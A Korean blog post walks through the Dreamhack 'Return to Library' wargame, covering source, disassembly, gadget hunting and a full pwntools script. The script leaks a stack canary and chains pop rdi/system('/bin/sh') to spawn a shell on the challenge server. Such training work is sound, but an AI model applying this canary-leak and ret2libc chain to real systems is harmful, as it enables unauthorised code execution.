Return to Library

2022. 7. 19. 16:41·Wargame/Dreamhack
728x90
반응형

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

lecture에서 넘어온거라 NX 보호기법이 걸려있다는 것을 알고 시작하지만, 사실 확인해보아야하는 것이 맞다.

checksec 프로그램으로 아래와 같이 canary 및 NX가 걸려있음을 확인할 수 있다.

┌──(kali㉿kali)-[~/Downloads/1]
└─$ checksec --file=rtl
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   69) Symbols    No    0               2               rtl

코드부터 분석해보면

전역 변수로 /bin/sh 문자열을 선언하고
main 함수로 들어가서
0x30 byte의 buf 변수를 선언하고
system 함수를 1회 실행시켜줌으로 인해 plt를 got으로 변환(?) 해준다.
이후는 앞선 canary 문제와 동일하다.

이번 문제의 주요 사항은 NX 우회를 위한 library 함수의 실행이다.

 

우선 32 bit와 64 bit의 RTL 차이를 이해해야 한다.

32 bit의 경우 함수가 실행되기 전 인자들이 스택에 입력만 되어있으면 문제 없다.

예를 들어 system('/bin/sh') 를 실행하기 위해서는

system 함수 주소를 ret에 덮어씌우고, 이후 system 함수 종료 후 돌아갈 return address + /bin/sh 문자열이 저장된 주소

의 순으로 스택에 값만 들어가면 된다.

 

하지만 64 bit에서는 레지스터에 값이 들어가야 한다.

동일하게 system('/bin/sh') 를 실행하기 위해서는 /bin/sh 문자열이 저장된 주소가 %rdi에 들어가있어야하기에

pop rdi, ret gadget 주소를 ret에 덮어씌우고, 이후 %rdi에 넣을 /bin/sh 문자열이 저장된 주소 + system 함수 주소

의 순으로 스택에 전달되어야 한다.

 

본 문제의 경우 64 bit 환경이기에 알아내야 하는 값은 canary, gadget, /bin/sh 문자열 주소, system 함수 주소이다.


우선 main 함수를 어셈블러 코드로 출력하여 canary 위치, buf 변수 위치를 확인하였다.

...
   0x00000000004006ff <+8>:     mov    %fs:0x28,%rax
   0x0000000000400708 <+17>:    mov    %rax,-0x8(%rbp)
...
   0x0000000000400772 <+123>:   lea    -0x40(%rbp),%rax
   0x0000000000400776 <+127>:   mov    $0x100,%edx
   0x000000000040077b <+132>:   mov    %rax,%rsi
   0x000000000040077e <+135>:   mov    $0x0,%edi
   0x0000000000400783 <+140>:   call   0x4005f0 <read@plt>
...

 


전역 변수로 선언된 /bin/sh 문자열의 주소는 gef에서 문자열을 쉽게 찾을 수 있도록 지원하며 아래와 같이 찾을 수 있다.

gef➤  grep /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/home/kali/Downloads/1/rtl'(0x400000-0x401000), permission=r-x
  0x400874 - 0x40087b  →   "/bin/sh"
[+] In '/home/kali/Downloads/1/rtl'(0x600000-0x601000), permission=r--
  0x600874 - 0x60087b  →   "/bin/sh"
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.33.so'(0x7ffff7f56000-0x7ffff7fa2000), permission=r--
  0x7ffff7f70882 - 0x7ffff7f70889  →   "/bin/sh"

만, 사실 정석은 libc 파일에서 offset을 확인하여 찾는 것이지 않나 생각한다. (위의 3번째 항목이 그거다.)


system 함수의 got 주소는 아래와 같이 찾을 수 있다.

gef➤  p system
$1 = {<text variable, no debug info>} 0x4005d0 <system@plt>
gef➤  x/i 0x4005d0
   0x4005d0 <system@plt>:       jmp    *0x200a52(%rip)        # 0x601028 <system@got.plt>

 


마지막으로 pop rdi, ret gadget은 ROPgadget 프로그램을 사용하여도 되지만 직접 찾을 수도 있다.

예를 들면 아래와 같다.

#objdump로의 확인
┌──(kali㉿kali)-[~/Downloads/1]
└─$ objdump -d rtl | grep -B2 ret
  400590:       ff d0                   call   *%rax
  400592:       48 83 c4 08             add    $0x8,%rsp
  400596:       c3                      ret
--

0000000000400640 <_dl_relocate_static_pie>:
  400640:       f3 c3                   repz ret
--
  400673:       0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
  400678:       5d                      pop    %rbp
  400679:       c3                      ret
--
  4006b5:       0f 1f 00                nopl   (%rax)
  4006b8:       5d                      pop    %rbp
  4006b9:       c3                      ret
--
  4006d2:       c6 05 9f 09 20 00 01    movb   $0x1,0x20099f(%rip)        # 601078 <completed.7698>
  4006d9:       5d                      pop    %rbp
  4006da:       c3                      ret
  4006db:       0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
  4006e0:       f3 c3                   repz ret
--
  4007e1:       e8 da fd ff ff          call   4005c0 <__stack_chk_fail@plt>
  4007e6:       c9                      leave
  4007e7:       c3                      ret
--
  400850:       41 5e                   pop    %r14
  400852:       41 5f                   pop    %r15
  400854:       c3                      ret
--

0000000000400860 <__libc_csu_fini>:
  400860:       f3 c3                   repz ret
--
  400864:       48 83 ec 08             sub    $0x8,%rsp
  400868:       48 83 c4 08             add    $0x8,%rsp
  40086c:       c3                      ret

없네...?

까불지말고 ROPgadget 쓰자.

┌──(kali㉿kali)-[~/Downloads/1]
└─$ ROPgadget --binary rtl | grep rdi
0x0000000000400853 : pop rdi ; ret

이제 모든 값을 모았으니 정리해보면

canary는 %rbp-0x8에 위치하며, buf 변수는 %rbp-0x40 위치에 할당되므로
프로그램 실행 후 첫 입력 시 dummy 0x40 byte - 0x8 byte 값을 입력하면 canary를 얻을 수 있다.

두번째 입력 시
dummy 0x38 byte + canary 8 byte + sfp 8 byte + pop rdi, ret 8 byte + /bin/sh 8 byte+ system 8 byte
를 보내면 shell을 획득할 수 있을 것으로 예상된다.

이를 기준으로 코드를 작성해보면 아래와 같다.

from pwn import *

rop = b''
rop += p64(0x0000000000400853)

binsh = b''
binsh += p64(0x400874)

system = b''
system += p64(0x4005d0)

p = remote ('host3.dreamhack.games',19943)
#p = process('./rtl')

get_canary = b''
get_canary += b'A'*(0x38)

p.sendlineafter(b'Buf: ',get_canary)

p.recvuntil(b'\x0a')
canary = b'\x00'
canary += p.recv(7)

pay = b''
pay += b'\x90'*0x38
pay += canary
pay += b'\x90'*0x8
pay += p64(0x400596) #ret gadget for stack align
pay += rop
pay += binsh
pay += system

p.sendlineafter(b'Buf: ',pay)
p.interactive()

여기서 특이사항은 sfp까지 채운 후 ret address에 ret gadget을 한번 넣어준 점이다.

없어도 실행되기도 하지만 간혹 code가 제대로 작성되었음에도 불구하고 segmentation fault 오류가 발생하는 경우에는 이와 같이 ret을 추가로 넣어주면 잘 작동한다.

그 이유는 아래를 참조.

https://wyv3rn.tistory.com/55

 

64bit system 함수 segmentation fault 오류

system 함수로 익스플로잇 시 간혹 제대로 코드를 작성하였음에도 불구하고 segmentation fault 오류가 발생하는 경우가 있다. 1. 왜 그런지 알아보고 2. ret gadget 추가 시 왜 작동되는지 알아보자. 2022.07

wyv3rn.tistory.com

 

┌──(kali㉿kali)-[~/Downloads/1]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 19943: Done
[*] Switching to interactive mode
$ id
uid=1000(rtl) gid=1000(rtl) groups=1000(rtl)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

basic_rop_x64  (0) 2022.07.22
rop  (0) 2022.07.20
Return to Shellcode  (0) 2022.07.19
ssp_001  (0) 2022.07.18
basic_exploitation_001  (0) 2022.07.18
'Wargame/Dreamhack' 카테고리의 다른 글
  • basic_rop_x64
  • rop
  • Return to Shellcode
  • ssp_001
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (493)
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (22)
      • Wargame (313) N
        • pwn.college (34)
        • Dreamhack (148) N
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    _IO_FILE
    Format String Bug
    phoenix
    Buffer Overflow
    64bit
    lob
    CANARY
    docker
    hackerschool
    pwntools
    32bit
    x86
    tcache
    Me
    vtable
    FSB
    libc
    exploit education
    root-me
    root
    la ctf
    RTL
    heap
    cryptohack
    pwnable.kr
    ROOT ME
    dreamhack
    BOF
    x64
    rop
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
Return to Library
상단으로

티스토리툴바